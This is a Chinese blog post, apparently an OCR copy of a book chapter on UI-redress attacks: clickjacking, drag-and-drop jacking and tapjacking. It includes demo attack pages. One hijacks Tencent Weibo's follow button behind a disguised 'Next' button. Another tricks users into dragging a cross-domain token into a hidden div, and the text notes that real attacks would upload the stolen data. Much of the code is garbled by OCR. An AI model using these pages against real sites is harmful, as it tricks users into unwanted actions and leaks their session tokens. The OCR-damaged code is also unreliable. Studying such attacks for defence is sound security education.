web前端黑客技术揭秘（5）

最新推荐文章于 2024-09-07 07:17:47 发布

莎萌玩家

最新推荐文章于 2024-09-07 07:17:47 发布

阅读量265

点赞数

分类专栏：个性化文章标签： html xss

本文链接：https://blog.csdn.net/m0_73344153/article/details/128117626

版权

个性化专栏收录该内容

14 篇文章 1 订阅

订阅专栏

前端黑客之界面操作劫持

界面操作劫持是近几年Web安全领域发展起来的一种新型攻击方法，其影响非常广泛， Twitter、Facebook等国际知名网站都先后受到过这种攻击。2010年，国外安全机构统计前 500位最受欢迎的网站中，也只有】4%的网站对这种攻击进行了有效的防护，国内的网站系统采取了相应防护手段的更少。本章将深入研究界面劫持攻击的演变历程和技术原理，让大家明白什么是界面操作劫持。

5.1界面操作劫持概述

界面操作劫持攻击是一种基于视觉欺骗的Web会话劫持攻击，它通过在网页的叮见输入控件上覆盖-个不可见的框(iframe),使得用户误以为在操作可见控件，而实际上用户的操作行为被其不可见的框所劫持，执行不可见框中的恶意劫持代码，从而完成在用户不知情的情况下窃取敏感信息、篡改数据等攻击。界面操作劫持攻击是2008年之后出现的一种新的Web攻击模式，从其技术发展阶段上分析，可以分为以下三种。

•点击劫持(Clickjacking)。

•拖放劫持(Drag& Drop jacking)。

•触屏劫持(Tapjacking)。

我们先来看看这三种劫持技术的概念。

点击劫持(Clickjacking)

点击劫持是2008年由SecTheory公• >1的Robert Hansen和白帽安全公司的Jeremiah Grossman 两名研究人员提出的。其首先劫持的是用户的鼠标点击•操作，因此，被命名为点击劫持。它主要的劫持冃标是有重要会话交址的页面，比如，用丿'啲后台管理贝面、银行交易页面或劫持用户的麦克风和扱像头等。Twitter和Facebook等著名站点的用户都遭受过点击劫持的攻击。

拖放劫持(Drag&Dropjacking)

在Black Hat Europe 2010大会I：, Paul Stone提出了点击劫持的技术演进版木：拖放劫持。在现在的Web应用中，有一些需要用广采用鼠标拖放完成的操作(例如，一些小游戏等)，而R用户也常常在浏览器中使用鼠标拖放操作来代替复制和粘贴操作。因此，拖放操作劫持大大扩展『点击劫持的攻击范围尸而且也将劫持模式从单纯的鼠标点击扩展至4了鼠标拖放行为。不仅如此，花浏览器中，拖放操作是不受“同源策略”限制的，用户可以把一个域的内容拖放到另一个不同的域。因此，突破同源策略限制的拖放劫持町以演化出更广泛的攻击形式，突破很多种防御。

例如，可以通过劫持某个页面的拖放操作实现对其他页面链接的窃取，这些链接中可能会有session key、token、password等敏感信息；或者口J以把其他浏览器中的页面内容拖放到富文木编辑模式中，这样就能够看到页面源代码，而这些HTML源代码中可能会存在敏感信息。

2011年出现的Cookiejacking攻击就是拖放劫持攻击的代表，此攻击的成因是由于本地 Cookie可以用＜iframe＞标签嵌入，进而就可以利用拖放劫持来盗取用户的Cookie。

触屏劫持(Tapjacking)

随着智能终端设备和3G网络的快速发展，人们依赖这些设备的时间越来越多，交换的数据也越来越重要，比如，网络聊天、收发邮件、炒股、网银交易等。所以，这些智能移动设备已经成为黑客们攻击的新目标。移动智能终端设备由于体积的限制，一般都没有鼠标、键盘这些输入设备，用户更多的操作是依靠手指在触摸屏上的点击或做滑动等动作完成的。

2010年，伯斯坦和斯坦福大学的研究人员们公布了他们的最新研究成果：在苹果移动设备上，类似点击劫持的攻击模式，实现了对用户触摸屏操作的劫持攻击，即界面操作劫持攻击模型的最新阶段：触屏劫持。

5.2界面操作劫持技术原理分析

了解了界面操作劫持的基本知识后，下面对这些劫持技术进行深入分析。

透明层+iframe

前面提到各种操作劫持的首要技术是在用户可见页面上“覆盖一个不可见的框”，从技术角度讲，这里的“覆盖”是指控件位置之间的层次关系，"不可见的”是指页面的透明度为零，而“框”则指的是ifiame标签。所以，“覆盖-个不可见的框”可以理解成“透明层” + “而me”。

1.透明层使用CSS样式实现

1E浏览器使用私有的CSS透明属性，具体如下。

fllter:alpha(opacity=50),数值从0到100”数值越小，透明度越高。

Chrome、Firefox. Safari-, Opera这四款灘览器使用的CSS透明属性如下<>

.•, - -. ; - i .. . . •-；

opacity: 0.5,数值从Q至•数值越小，透明度越高"

:控件位置之I诬的层次为系使用z-index,'而且任何浏览器都支持:.. ： • 「

z-index: 1,数值可以是负数，高数值的控件会处于低数值控件的前面，数值越高，控件越靠近用户。 .

2.使用iframe来嵌入被劫持的页面

• - ■ , . - • - , 1 ■. 一 .一 - . : ••- --

<if rame id="vrctimM src=Hhttp: //www. victim. com"scrolling=nno,,>

通过页面透明层+iframe实现了对用户的视觉欺骗，即用户看到的操作对象与实际操作

对象是不一致的，从而为界面操作劫持攻击提供了技术手段。

5.2.2点击劫持技术的实现

有了页面透明层技术和iframe嵌套方法，我们就可以实现点击劫持攻击了。卜面给出

—个点击劫持的简单示例，clickjacking.htmI代码如下：

〈style〉

#click(

width:100px;

top:20px;

left:20px;

position: absolute;

z-index: 1

#hidden(

height: 50px;

width: 120px;

position: absolute;

filter: alpha(opacity=50);

opacity:0.5;

z-index: 2

)

</style>

嵌入的inner.html代码如F：

〈input style="width: lOOpx;" value="Login" type="button" οnclick="alert

('test' ) ,•/>

在上述示例中：

• clickjakcing.htm 1是一个用广可见的伪装页面，在其页面中设置iframe所在层为透明层，并在［什地。中嵌套了 inner.html页面。

•在clickjacking.html页面中设计"Click me”按钮的位置与inner.html页面中,*Login" 按钮的位置重合。

•当用户以为在点击clickjacking.html页面上的"Click me"按钮时，实际上是点击了 inner.htm 1页面上的"Login”按钮。

5.2.3拖放劫持技术的实现

1. dataTransfer 对象

在拖放劫持攻击中，还需要一种数据传递的方法才能真正达到攻击效果。为了能协助

通过拖放操作传递数据，在IE 5.0以后引入了 dataTransfer对象，它作为event对象的一个属性出现，用于从被拖动的对象传递字符串到放置对象。dataTransffer现在是HTML5草案的一部分。

dataTransffer对象定义了两个主要方法；getData和setData,语句如下：

event.dataTransfer.setData("text”,"sometext");

event.dataTransfer.setData("URL”,Rhttp://www.test.com”);

var url = event.dataTransfer.getData(MURLn);

var text = event.dataTransfer.getData(Htextw);

setData操作完成向系统剪贴板中存储需要传递的数据，传递数据分为两种类型：文本数据和URL数据。在HTML5的扩展中，其允许指定任意的MIME类型。

getData操作完成获取由setData所存储的数据。

有了 dataTransfer对象和操作方法后，就为跨域传递数据提供了有效的技术手段。

2.拖放函数

有了视觉欺骗手段和数据传递方法后，接下来攻击者要做的就是确定需要劫持的操作函数。点击劫持比较简单，只要相应的透明层中有按钮的点击事件即可。而拖放劫持的操作函数稍微复杂一些，浏览器中可以拖放的对象一直在不断地增加，图片、链接和文本都是可以拖动的。这些页面元素可以在页面框架、浏览器窗口之间拖动，有时候甚至可以拖动到桌面上，而且允许页面上任何控件成为放置目标。随着HTML5的发展，支持拖放操作的API函数也相成地增多，而且功能更强大。下面列出在HTML5的定义中，用户在整个拖放过程中会依次触发的操作函数，如表5-1所示。

表5-1拖放函數

函数	说明
当M标拖劫了一个控件•源对象将依次触发以下隣数
ondrag	在从（tag动作开始，到动作結束的迁程中，■对象触发的一个•件
ondragstart	在drag动作开始时，源对象上触发的一个事件
oodragend	在 g 动作靖束时，深对象上11发的一个S
当拖动对象到-个有效的目标上时，目的对象将依次出发以下函数
oodragenter	在drag动作进入某一有效目的对象时，该目的对象上供发的一个事件
ondragover	在drag动作进入某•有效目的对象后，该1」的对象上触发的•个博件
ondcsglcsvc	在drag动作离开某一有效目的对象附，诙目的的一个，件
ondrop	在任何有效目的对象上进行drop操作时，该目的对象上触发的个事件

5.2.4触屏劫持技术的实现

移动设备的触摸屏更加微小，在视觉欺骗上，比非移动设备更加容易。我们可以想象使用IPhone进行一次本周末上映电影的査询操作，当用户单击“査询”按钮后，实际上是完成了一次网银交易的汇款操作。这听起来是非常可怕的事情，因为像IPhone这样的移动设备也是刚刚进入互联网的，对于触屏劫持还没有太好的防御，可以说，触屏劫持这种技术在移动设备上简直可以横冲直撞。

移动设备的WebApp网页设计，不论是从屏幕大小还是一些浏览器支持的函数上，都和传统的Web设计有所不同。下面以IPhone IOS操作系统中的Safari浏览器为例，介绍触屏劫持中涉及的几个技术要点。

桌面浏览器

IPhone Sa阮i浏览器有一个特殊的功能，即可以把网页添加到IOS操作系统的桌面当做一个程序图标来显示。添加后，主屏幕上会出现一个由网页缩略图生成的APP图标。当用户点击这个图标后，就会打开网页，这个功能与快捷键方式类似，如图5-1所示。在桌

面浏览器程序中可以设置桌面图标、启动画面，还可以设置页面全屏和更改状态栏样式。

添加桌面图标的语句为：

添加启动画面的语句为：

全屏显示的语句为：

改变状态栏样式为如图5-1所示的Status bar位置，语句为：

可视区域viewport

viewport就是除去所有的工具栏、状态栏、滾动条等之后网页的可视区域，如图5-1中的 "Visible area"区域。移动设备的屏幕大小不同于传统的Web,所以我们需要改变viewport。

例如，下面的代码：

initial-scale=l.O;maximum-scale=l.0; user-scalable=no;"/>

其中用到的参数含义如下：

width - // viewport的宽度(范围从200到10000,就认为980像素)

initial-scale - //初始的缩放比例(范围从0到10)

maximum-scale - //允许用户缩放到的最大比例

user-scalable - //用户是否可以手动缩(no, yes)

隐藏URL地址栏

除了用全屏模式隐藏URL地址栏(图5-1中URL text field位置)夕卜，还可以使用如下代码实现对URL地址栏的隐藏。

{ window. scrollTo (0, 1) ), 100) ; **>

</body>

触屏函数

对传统的Web设计而言，IPhone IOS的Safari浏览器中有自己独特的触屏API函数，

我们可以使用这些函数模拟鼠标键盘的动作。表5-2是IPhone中的触屏(touch)函数。表5-2触屏函数

函数	说明
touchstart	手指放在屏專上时麟发
Touchend	手指离开屏幕时触发
touchmove	手指在屏幕上移动时触发
touchcancel	系统"以取消touch耶件

在这些触屏移动设备中，同样可以使用透明层+iframe方法，然后配合触屏设备中自身的API函数来发起触屏劫持攻击。

5.3界面操作劫持实例

本节将分别针对点击劫持、拖放劫持、触摸劫持给出真实的攻击实例。

5.3.1点击劫持实例

我们已经对点击劫持原理做了详细分析，接下来给出一个真实的点击劫持攻击实例一腾讯微博“立即收听”按钮点击劫持攻击。这个攻击达到的效果是，用户在不知情的情况下收听某用户。

这里以微博http://t.qq.com/xisigr为例做一个实验，如果你没有收听这个账号，那么在你已登录腾讯微博的状态下浏览微博主页时，则会出现收听“立即收听”的按钮，如图5-2所示，可以看到"立即收听”这个按钮，而且链接http://t.qq.com/xisigr可以被iframe 嵌套。

如图5-3所示，我们从逻辑上把成套的页面処分为4-个部分，其中编号④的位置是我们要劫持的-“立即收听”按钮般件，：对于①、•一②、&编号的位置，我们会把它们屏蔽掉或二

伪装起来才可以达到欺骗用户的液果

如图5-4所示，是伪装后的效果，我们在位置①的地方用一个视频覆盖，位置②、③ 用黑色背景层覆盖，位置③再加上一个伪装按钮。

位置④使用透明层，并在其下方放置一个伪装按钮Nexto用户以为这是播放下一个影片的按钮。伪装全部设计好后的效果如图5-5所示。

当用户单击Next按钮观看下一个视频时，实际上是单击了腾讯微博的“收听按钮”，此时你就已经收听这个账号了，完整的代码如下：

<!doctype html>

<html>

<head>

<title>Clickjacking</title>

</head>

<style>

body (

margin:0;

padding:0;

} - -・

button(

background:#F0F0F0 repeat-x;

padding-top:3px; -

border-top:Ipx solid #708090; -

border-right:lpx solid #708090;

border-bottom:lpx solid #708090;

border-left:lpx solid #708090;

width:60px;

height:23px;

font-size:lOpt;

cursor:hand;

}

.dd{ … • 一 - .1 …

position:absolute;

z-index:20;

#dl{

width:640px;

height:360px;

top:85px;

left:300px;

)

#d2{

width:230px;

height:23px;

top:445px;

left:300px; background:black;

}

#d3(

width:350px;

height:23px; top:445px; left:590px;

background:black;

}

#d4(

width:60px;

height:23px;

top:445px;

left:530px; position:absolute; z-index:7;

}

#d5(

width:60px; height:23px;

top:445px;

left:590px; position:absolute; z-index:30;

}

♦hidden(

height: 260px;

width: 530px;

top:200px;

left:300px; overflow:hidden;

position: absolute; filter: alpha(opacity=0); opacity:0;

z-index:10;

</style>

<body>

<div id=nd5"xbutton id="button_l *' οnclick="alert ( * Please Wait •) n>Replay </button></div>

</body>

</html>

5.3.2拖放劫持实例

大家都知道，token 一般在两个地方出现，第一个是在GET方法中作为URL的一个参

数出现，如：

http://www.foo.com/token=wsopcwrt

第二个是在POST方法中，存在于隐藏的表单项中：

接下来我们来玩一个小游戏，看看拖放劫持如何获取tokeno以下测试代码在IE和

Firefox浏览器中运行正常。

模拟攻击场景如下。

A页面是存在token的页面，链接为http://l92.168.10.101 AToken.html,如图5-6所示。

B页面是攻击者控制的页面，链接为http://l92.168.10.100/DND.html,如图5-7所示。

图5-7攻击者控制的B页面

现在我们开始玩这个游戏，按Ctrl+A组合键或滑动鼠标选中小球，然后把小球拖放到

海豚的嘴上，如图5-8所示。完成后，我们就已经获取到/ token数据，接着把获取到的token 打印在页面上。

. 下面分析是如何获取到token的。• * " ’ ""厂"". " 丁

-A页而源代码如下"

<form method=HPOSTM> ' . . • 。

<a href=Hhttps : //passporj^Ttesta . com/?ldgout&token=012 34 5678 9,,>jMtH</a> .一

我们可以看到token的数值是0123456789。

B页面设计为：在小球的上而使用<iframe>标签加入隐藏层，用户单击小球后，按Ctrl+A 组合键或滑动鼠标操作实际上是选择了隐蔵层中的内容，这里就是http://192.168.10.101/ Token.html中的内容。在海豚的嘴上方使用<div>标签加入隐蔵层。

完成拖放操作后，接卜来进行跨域操作，诱惑用户把-个域中<iframe>的内容拖放到另个域的<div>中。当操作成功后，会把拖动的数据打印在页面上。完整的代码如下：

<html>

<head>

Drag and Drop Attack Demo

</title>

<style>

.IFrame_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden;

filter: alpha(opacity=0); opacity:.0; position: absolute; ) .text_ areahidden{

height: 30px; width: 30px; top:180px; left:665px; border:Ipx solid black;

overflow:hidden; filter: alpha(opacity=0); opacity:.0;position: absolute;}

.ball{ top:350px; left: 350px; position: absolute; } .ball_l{ top:136px; left:640px; filter: alpha(opacity=0); opacity:.0; position:

absolute; }.Dolphin{

top:150px; left:600px; position: absolute; }.center{ margin-right: auto;margin-left:

auto; vertical-align:middle;text-align:center; margin-top:350px;}

</style>

function Init () ( //添加险听

var source = document.getElementById("source");

var target = document.getElementById("target");

i f (source.addEventListener) {

target. addEventListener ( Hdrop,' f Dumplnfo, false);

} else (

target.attachEvent("ondrop", Dumpinfo);

)

}

function entities(s) {

var e = {

‘心：," ' r

• & f: * &',

,<f: '< 1 r

1>,

I；

return s ・ replace(/【"&<>]/g,

function(m) (

return e[m];

})；

function Dumpinfo(event) (

showHide ball. call (this) ; //地面上的小球消失 showHide_ball_l. call (this) ; //海豚嘴上的小球出现 if (event.dataTransfer . types) { //Firefox 浏览器支持

var info = document.getElementByld (ninfoH);

info.innerHTML += "〈span style='color:#3355cc;font-size:12px1>° ♦ entities (event. dataTransfer. get Data (' text/html') ) + •'</span><br>

//在页面上打印出获取到的数据

} else { //IE浏览器支持

setTimeout("html()", 10);

-三二Web前端黑客技术掲萩°二"

function html () {.，

document ・ getEiementByid(' target1).innerText

:r target') . innerHTML;「

/ - var \ info : = document.. getElemeritByld ("info");

.■ .< S • J 4 . • . • ， .. ... • . X

T. .rt*

.・-W -■

=_. document .'getEiementByid*...'.

，.:info. innerHTML += H<span' s*yle =.' co 1 or-: # 3355cc'; font-size: 12px 1 >'+

(document ； getElementById ( ' target • ) innerHTML) + M<7span><br>• *'; *

'•.」/«底面匕打印出*取莉的薮据*:""宀一 "「‘I

- • . . .. ・・，. .

function showHide frame()(

var IFramejl = .document.getEiementByid("I Frame 1H);.

.'-IFrame ^lVstyle 1 opacity 三 this ^checked ? .一"0三 5":.当0'!；

IFrame 1-style.filter

+ (this, checkedn50n: ••);

"progid:DXImageTransform.Microsoft.Alpha(opacity= 「.

~ • * - •乙• - — •--——嵐七••- - ••-

切.

.'-function .showHide-text () (''

var text;2_l' =. document-. getEiementByid (,,target,,X;._-.' text; -1. s t y 1 e. opac i t yt hi s .checked * ? "0 ：5" : "0";

—'text* 1-. styieff ilter 1 = ''progid: DXIrnageTransfo rm .Microsoft. Alpha： =_

(opacity^'L + -(this.checked ?-"50":

•. •二、二 - 二・. —.•二一一 —-

"0M) + ”)；”

function showHide ball () {。.

•var hide ball•

document ・ getEiementByid("hide_ballM);

• hide.ball.style.opacity = "0 H

hide -ba 11. sty 1 e.. fil.ter = - "alpha (opacity=b) '' ;

jfunction ;show.Hide ball ' 1: ( )；-{/..

：~ 2 hide^all^l. style ・ opacity

-.document-.getEiementByid (.?hide ball?"');..

hide ball' 1. style . filter "alpha (opacity=100) M ;

}

function reload_text() (

document.getElementByld (''target") .value ='';

}

</script>

</head>

<hl>

Drag and Drop Attack

</hl>

</center>

"class=wIFrame_hiddenM scrolling=wnow>

</iframe>

</div>

<div>

</div>

<div>

test

</div>

</div>

游戏规则：-Ctrl + A"或滑动鼠标选中小球，然后把小球拖放到海豚的嘴上.

<br>

</center>

<br>

<input id=MshowHide_framen type=wcheckboxw οnclick=wshowHide_frame.call

(this);n

Show the jacked I■-Frame

</label>

<input id= MshowHide_textH type=wcheckboxM οnclick=°showHide_text.call(this);M

Show the jacked Textarea

</label>

</center>

<br>

<b>

Design by

xisigr

</a>

</b>

</center>

</div>

</body>

</html>

对于页面B,美工可以进一步优化以诱导用户进行拖放操作。从功能上还叫扩展，在这个例子中只是象征性地把获取到的数据打印在页面匕实际攻击中，可以直接把获取的数据进行上传并保存。

上述测试代码在IE 9.0和Firefbx 8.0浏览器中运行正常，大家可以发现在Firefox浏览器中进行拖放的时候，浏览器会把拖放的内容以阴影的形式显示出来，这样欺骗起来就比较困难了，因为用户可以看到你拖放的实际内容是什么。而在1E 9.0中拖放的时候，只会出现一个小加号。可以看到发动拖放劫持攻击的难度还是比较高的，它需要有很多技巧和互动操作。一方面，攻击者要设计漂亮的网页：另一方面，攻击者要和用户有大量的坯动，以诱导用户在网页上进行拖拽操作。

5.3.3触屏劫持实例

在5.2.4节中，我们已经了解了 IPhone手机的屏幕区域设计，也掌握了触屏劫持中要用到的技术要素。卜一面的触屏劫持实例仍以5.3.1节中的腾讯微博“立即收听”按钮为例进行介绍，不同的是，这里的操作环境在IPhone设备上。

如图5-9所示，大家看到后是不是以为这是IPhone手机的桌面，而且桌面上收到一条短信。如果你认为这是IPhone桌面，而且按照习惯去触摸冋复或关闭这个按钮，那么你就己经被触屏劫持了。因为图5-9所示的是-个以IPhone桌面为背景的Web网页。当把网页保存为524节中提到的以桌面浏览器形式打开时，网页就支持全屏显示了，以这种形式呈现的网页更像是本地的原生态APP应用程序，使用户根本就分不清哪个是桌面，哪个是网页。而当你触摸显示按钮后，实际上是触摸了其上方的腾讯微博“立即收听”按钮，如图 5-10所示。